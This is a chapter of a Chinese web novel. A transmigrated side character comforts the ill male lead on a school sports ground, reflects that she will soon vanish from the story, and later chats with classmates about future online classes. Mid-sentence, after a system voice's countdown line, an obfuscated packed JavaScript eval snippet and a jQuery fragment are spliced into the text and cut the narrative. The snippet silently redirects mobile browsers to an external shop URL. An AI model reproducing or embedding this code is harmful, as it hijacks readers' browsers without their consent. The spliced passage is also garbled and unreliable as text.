张玺和其他人脸上的神情瞬间僵住,方才理直气壮的指责一下子没了底气。
洛九天站在一旁,看着杜凌梦从容不迫的模样,眼底掠过一丝赞许,他原本还打算硬碰硬去争执,却没想到她居然早早就做好了万全的准备。
杜凌梦没有咄咄逼人,只是客观陈述事实:
“错误我们可以马上修正,但责任不能胡乱归到我们身上。”
周围的人也看清了全部记录,议论声渐渐平息,后期负责人面色尴尬,只能讪讪闭嘴,不再把锅往二人身上甩。
等旁人散开,洛九天强撑着身子转过身来,侧过头看向杜凌梦,低声道:“还好你做了留痕,不然今天就要平白背下这个黑锅。”
杜凌梦轻轻呼出一口气,指尖还停留在文件界面,她抬头冲洛九天笑了笑,其实她自己也被自己刚刚的行为吓了一跳,不过是强装镇定,手上现在还微微出着汗,回过神来,才发现大腿也在抖个不停。
这种工作留痕的重要性她在穿书前,就已经有了血淋淋的教训,杜凌梦没想到现在学校里也会有这种阴暗的地方。
虽然说,工时对自己并不是很重要,自己在不到100天之后就要离开这里,但是,杜凌梦转头看了看,走在她旁边,有些颤抖的洛九天,至少不能破坏原书中主角的生活吧。
洛九天还在感冒,大概是被早上的事情气的不轻,似乎现在都有些发烧的症状了,腿脚软绵绵的,好像下一秒就要倒下去似的。
杜凌梦走在旁边,十分担心地用余光撇着洛九天,在路过一个转弯的时候,洛九天一个没转好,脚下一打滑,不留神往杜凌梦的身上倾倒过来。
杜凌梦急忙馋住洛九天。
洛九天浑身滚烫,带着感冒未退的热度,大半重量猝不及防压过来,杜凌梦手臂下意识箍住他的腰,掌心贴着他后背单薄的衣料,能清晰感受到他身体微微不受控制的轻颤。
洛九天的额头无意识抵在她肩窝,温热的呼吸扫过她颈侧,他本就烧得发昏,这一下失衡,理智跟着松垮几分,没有立刻直起身,长长的睫毛垂着,呼吸有些急促,带着一点病中脆弱的鼻音。
杜凌梦能闻到他身上熟悉的香味,混着一点低烧带来的燥热,两人贴得太近,肩膀相抵,呼吸缠绕在一起,看着亲密无比。
洛九天缓了两秒,才勉强撑住一点力气想要直起身子,手腕却虚软无力,只是无意识地搭在她的小臂上,抬眼时眼尾泛着一层病后的薄红,视线朦朦胧胧,落在她的唇上,又慌忙错开。
洛九天觉得自己真是烧疯了。
但他还带着几分傲娇的硬撑,不肯直白示弱,可发烫的皮肤、不稳的呼吸全都泄了底。
“多谢。”
洛九天低声开口,嗓音沙哑,感冒的钝感没有夺走他固有的沉稳,柔柔的气息轻轻拂在杜凌梦下颌。
他没有立刻退开,两人维持着半拥的姿势停在转角的阴影里,周遭静得只听得见彼此的呼吸。
杜凌梦想把洛九天扶回宿舍,毕竟大早上的被叫来,谁也不好受,奈何不了即使是生病的洛九天依然力大无穷,洛九天拐着杜凌梦就往学校操场走,杜凌梦想抵抗一下,但又怕弄伤可怜的病人,只好气呼呼地顺着落九天走。
旁边时不时有路过的其他同学,看这俩人的动作,就像是在玩两人三足一样搞笑。
“我嗓子疼,这下好了,我也要像你一样成小哑巴了。”
洛九天虚弱成这样也不忘调侃杜凌梦:
“宿舍里太闷,你就陪我出来走走吧,有利于身体恢复,你也不用说话,我也不用说话。”
对,就这样静静的最好了。
两个人坐在操场旁边的红色椅子上,杜凌梦专门挑了一处阳光可以照到的地方,操场上有健身的老师,也有跑校园跑的学生还有一起散步的情侣和朋友。
那张椅子很窄,杜凌梦和洛九天挨得很近,杜凌梦甚至能听见洛九天因为感冒而发出的沉重的呼吸声。
“你看那边那个带着小孩的父母,应该是这个学校的老师吧。突然发现他们这样的生活也挺幸福,一直待在学校,好像就可以一直年轻。”
洛九天没头没脑的来了一句。
杜凌梦顺着那边看过过去,刚刚还在的小孩和父母却突然消失不见,变成了几个青年在打羽毛球,她有些吃惊,转头看向洛九天,才发现洛九天已经把视线移了回来,浑身找着卫生纸呢。
杜凌梦低下头,苦涩地笑了笑,她一直都明白,在这本书里一切人与事的存在,都只是为了推动剧情,为了主角服务,当他们完成了自己的使命,就会彻底消失,好像从来没有发生过。
自己也是,等到九句话说完,存在寿命结束后,自己也就要消失了。
我怎么就忘了,自己只是一个路人甲呢?
杜凌梦这段时间来感受到的一切,都真真切切像是在现实世界里一样快乐,面对室友时的开心,相处时的愉悦,和朋友一起做竞赛,还有冯鸢对自己的帮助,黎将晓在舞台上的闪亮,参加节目策划的紧张与新奇,还有和她一直纠缠着的洛九天。
如果不是因为自己的任务,这一切都应该是属于黎暮的吧。
杜凌梦把手捂到了心口上,不知道为什么,她有一种偷了东西的怯懦和罪恶感。
面对洛九天,她不知从何时起,那种想要快速攻略的兴奋感已经被延绵的不舍与欺骗的心虚淹没了。
“你怎么了?也不舒服吗?是我传染到你了吗?”
洛九天对杜凌梦的一举一动都十分在意,风吹草动在洛九天眼里似乎都成了天大的事。
他把身子转过去,背对着杜凌梦,换了一个新的口罩,然后才小心翼翼的转过身来,看着杜凌梦,就这么干巴巴的看了好久,洛九天才忽然回过神,从包里拿出来一个口罩,递给杜凌梦。
杜凌梦低头一看,上面还印着一排排的蓝色的玉桂狗……
洛九天慌忙向她解释道:
“你别误会啊,这是我自己买的,当时太早了,迷迷糊糊的,随便在学校货架上抓了一个,这个蓝色图案印的太浅了,我也没看见。”
杜凌梦其实并不是很介意,她戴上口罩之后,冲洛九天笑了笑。
现在杜凌梦已经,不会再害羞地躲着洛九天的眼神了。
多看一会儿。
再多看一会儿吧。
不然这一切真的就要消失了。
“明天也在这里见,也陪我在这坐一会儿。”
良久,洛九天缓缓开口,声音依旧很沙哑,像是老旧的机器磨损后发出的声音。
杜凌梦忍不住开口:
“你为什么总想要见我?”
“我绞尽脑汁也想不出来见你需要什么理由。”
洛九天接的很丝滑,几乎是脱口而出。
杜凌梦点了点头,紧接着别过头去,她不想让洛九天看见她写满了不舍的双眼,望着操场和天的渐近线,机械音再次缓缓响起:
“还有四句话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965649|214499||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
请小主抓紧机会哦。”
“你怎么突然戴口罩了?最近有流感了吗?”
下午上课的时候,赵含青疑惑地问道。
“没有,别人给的。”
杜凌梦声音软软的,戴上口罩之后,她就算是脸红伤心甚至做鬼脸也不用担心了,而且上课悄悄和赵含青说话也方便多了,毕竟当年新冠疫情的时候,她可是锻炼出来了戴着口罩上课睡觉的异能。
“就很奇怪啊,什么新时尚吗,现在哪有人戴口罩?”
“奇怪什么呀,当时疫情大家不都戴口罩吗?而且现在好多人还都留着戴口罩的习惯。”
杜凌梦有些不解。
“什么疫情,这口罩里怕是装了什么迷药,把你脑子迷晕了吧?”
“啊?”
杜凌梦反应了半天,突然想起来,这本书的背景好像是在2019年之前,也就是说这个时候,还没有疫情的出现,大家这个时候还过着快乐的日子呢。
杜凌梦不禁有些感慨,2019年的时候,她刚上高一,那个时候因为疫情,学校还专门办了网课呢。
“你想不想要以后在家就能上学,不用天天来学校。”
杜凌梦突然神秘兮兮的对赵含青说。
“我去,还有这种好事?”
“当然啊,你很快就会过上这样的生活了。”
“不是,那你为什么这么说呢?你怎么就知道。”
“我是预言家。”
“我还是狼人呢。”
赵含青用看弱智的眼神看了一眼杜凌梦。
“唉,不过要是真能过上这种生活就好了,天天上课累死了。”
“不不不,这种生活其实一点都不好。”
杜凌梦一听赵含青这么说,连忙摆了摆手,还是自由的大学生活好呀。
那种封控在家里的日子比囚禁在冷宫里的妃子还要难受呢。
“哎,你们刚说什么呢?什么不用上课?”
下课铃一打,冯鸢就好奇地探过头来。
“预言家给我们预言未来着呢。”
赵含青一边收拾书包,一边说着:
“走了,我待会就没课了,我先去图书馆。”
“哦。”
杜凌梦应了一声,继续跟冯鸢说:
“我说我们以后会过上上网课的日子,就不用每天来教室啦。”
冯鸢低头沉默了一会儿:
“那可不行!”
嗯?!
杜凌梦有些惊讶,但随之就用钦佩的眼神看着冯源,果然有另类的少年啊,一眼就望见了这其中的利弊。
“上网课人和人的关系就被隔绝了,哪有亲自见面好啊。”
冯鸢说这句话的时候很认真,似乎这一天真的到来了。
杜凌梦被他认真的眼神震撼住了,一向吊儿郎当的冯源这时候突然变得严肃了,但杜凌梦紧接着突然岔开话题:
“洛九天没来?”
“早上出去了一趟,又受风了,还没好好吃药,下午只能在寝室躺着喽。”
冯鸢嘴角勾了勾,有些幸灾乐祸地笑着:
“谁让他昨天嘴硬,非说自己不冷,也不知道抽什么风。”
呵呵呵……
赵含青离开后,冯鸢把自己的书包扔在杜凌梦旁边,然后挪了过来:
“这竞赛马上就要结束了,唉,看来有些重任只能由你陪我一起完成了。”
冯鸢一本正经地对杜凌梦说。